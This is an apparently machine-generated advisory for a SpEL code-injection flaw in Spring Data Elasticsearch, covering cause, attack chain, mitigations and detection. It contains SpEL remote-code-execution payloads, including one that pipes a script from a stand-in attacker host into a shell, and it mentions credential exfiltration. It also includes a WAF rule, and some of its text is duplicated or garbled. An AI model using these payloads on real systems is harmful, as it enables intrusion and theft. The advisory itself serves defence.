CVE-2026-123886 — CWE-94
Spring Data Elasticsearch replaces positional placeholders in string-based @Query methods with the method arguments before it evaluates SpEL expressions in the resulting query string. As a result, an argument that contains a SpEL expression is evaluated as part of the query, even if the declared query does not use SpEL. An application is affected if it passes untrusted input as an argument to a repository query method that declares a @Query with positional placeholders. In that case, a remote attacker can execute arbitrary code in the application, and repeated requests can exhaust memory through the unbounded expression cache.
Spring Data Elasticsearch replaces positional placeholders in string-based @Query methods with the method arguments before it evaluates SpEL expressions in the resulting query string. As a result, an argument that contains a SpEL expression is evaluated as part of the query, even if the declared query does not use SpEL. An application is affected if it passes untrusted input as an argument to a repository query method that declares a @Query with positional placeholders. In that case, a remote attacker can execute arbitrary code in the application, and repeated requests can exhaust memory through the unbounded expression cache.
🎯 What is this vulnerability?
This vulnerability is a Server-Side Template Injection (SSTI) / Expression Language Injection flaw within the Spring Data Elasticsearch library.
Technical Root Cause:
The core issue lies in the order of operations during query construction for @Query methods that use positional placeholders (e.g., ?0, ?1).
1. Normal Flow: In a secure implementation, SpEL (Spring Expression Language) expressions should only be evaluated if the query string explicitly contains SpEL delimiters (e.g., #{...}) or if the method is annotated to support it.
2. Vulnerable Flow: Spring Data Elasticsearch first performs a string replacement of the positional placeholders with the actual method arguments. Then, it evaluates the resulting string for SpEL expressions.
3. The Flaw: If an attacker passes a string argument that contains valid SpEL syntax (e.g., #{T(java.lang.Runtime).getRuntime().exec('id')}), the placeholder replacement injects this raw SpEL code into the query string. The subsequent SpEL evaluation step then executes this injected code, even though the original @Query annotation did not intend to use SpEL.
Missing Control:
- Input Sanitization: The library fails to sanitize or escape SpEL delimiters in user-supplied arguments before they are inserted into the query string.
- Contextual Evaluation: The SpEL evaluator does not distinguish between "trusted" SpEL expressions defined in the
@Queryannotation and "untrusted" SpEL expressions injected via method arguments. - CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
- Technology Fingerprinting: Identify that the target application uses Spring Boot and Spring Data Elasticsearch. This can be done by checking: *
- Version Identification: Determine the Spring Data Elasticsearch version. This is critical because the vulnerability affects specific versions prior to the fix. Check: *
- Authentication: The CVSS vector
PR:L(Privileges Required: Low) indicates that the attacker needs a low-privileged account (e.g., a regular user, API key, or session token). The attacker must first authenticate to the application to access the vulnerable endpoint. - A valid low-privileged user account.
- An endpoint that calls a Spring Data Elasticsearch repository method with a
@Queryannotation using positional placeholders. - The endpoint must accept user input that is passed directly as an argument to this repository method.
CWE Classification:
⚡ Attack Chain
1. Discovery & Reconnaissance
X-Powered-By headers (if exposed).
* Error pages revealing Spring stack traces.
* Common Spring endpoints like /actuator/health or /actuator/env (if exposed).
* JavaScript bundles referencing Spring-specific error codes.
/actuator/info (if enabled).
* Dependency disclosure in error messages.
* Publicly available pom.xml or build.gradle files in source code repositories (if accessible).
2. Exploitation
Prerequisites:Illustrative Scenario:
Assume a REST API endpoint GET /api/search?q={query} that calls a repository method:
@Query("SELECT * FROM documents WHERE title = ?0")
List<Document> searchByTitle(String title);The controller passes the user-supplied q parameter directly to searchByTitle.
Payload Construction:
The attacker crafts a SpEL expression that achieves Remote Code Execution (RCE). A common payload for Java SpEL RCE is:
#{T(java.lang.Runtime).getRuntime().exec('curl http://attacker.com/shell.sh | sh')}Or, for a simpler proof-of-concept (e.g., creating a file):
#{T(java.io.File).newFile('/tmp/pwned').createNewFile()}Exploit Request (Illustrative):
curl -X GET "http://target.com/api/search?q=%23%7BT(java.lang.Runtime).getRuntime().exec('id')%7D" \
-H "Authorization: Bearer <low_priv_token>"Note: The # and {} characters are URL-encoded as %23 and %7B/%7D.
Mechanism:
1. The controller receives q = #{T(java.lang.Runtime).getRuntime().exec('id')}.
2. The repository method searchByTitle is called with this string.
3. Spring Data Elasticsearch replaces ?0 with the string, resulting in the query: SELECT * FROM documents WHERE title = #{T(java.lang.Runtime).getRuntime().exec('id')}.
4. The SpEL evaluator processes the query string, detects the #{...} block, and executes the exec('id') command on the server.
3. Post-Exploitation
/etc/passwd, application config files containing database credentials) and exfiltrate them to an external server.🌍 Real World Impact
CVSS Vector Analysis: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching (Primary Recommendation)
@Query annotation) from untrusted user input.
* Or, disabling SpEL evaluation for queries that do not explicitly opt-in to it.
2. Workarounds (If Immediate Patching is Not Possible)
@Query methods with positional placeholders. Reject any input containing SpEL delimiters (#, {, }).if (input.contains("#") || input.contains("{")) {
throw new IllegalArgumentException("Invalid input");
}@Query annotations, consider using a different query mechanism (e.g., Elasticsearch Query DSL directly) that does not involve SpEL evaluation.SecRule ARGS "@rx #{T\(" "id:100001,phase:2,deny,status:403,msg:'SpEL Injection Detected'"3. Detection
GET /api/search?q=%23%7BT(java.lang.Runtime)
auditd (Linux) or Sysmon (Windows) to detect creation of new files in temporary directories (e.g., /tmp/pwned) or execution of unexpected processes (e.g., curl, sh, bash).⚠️ Urgency
Priority: CRITICAL
@Query methods and positional placeholders.
2. Upgrade to the patched version as soon as possible.
3. Implement WAF rules and input validation as temporary mitigations if patching is delayed.
4. Audit logs for signs of exploitation.
5. Rotate any credentials or secrets that may have been exposed on the affected servers.[🤖 CVE Professor AI Security Engine]
FOFA Query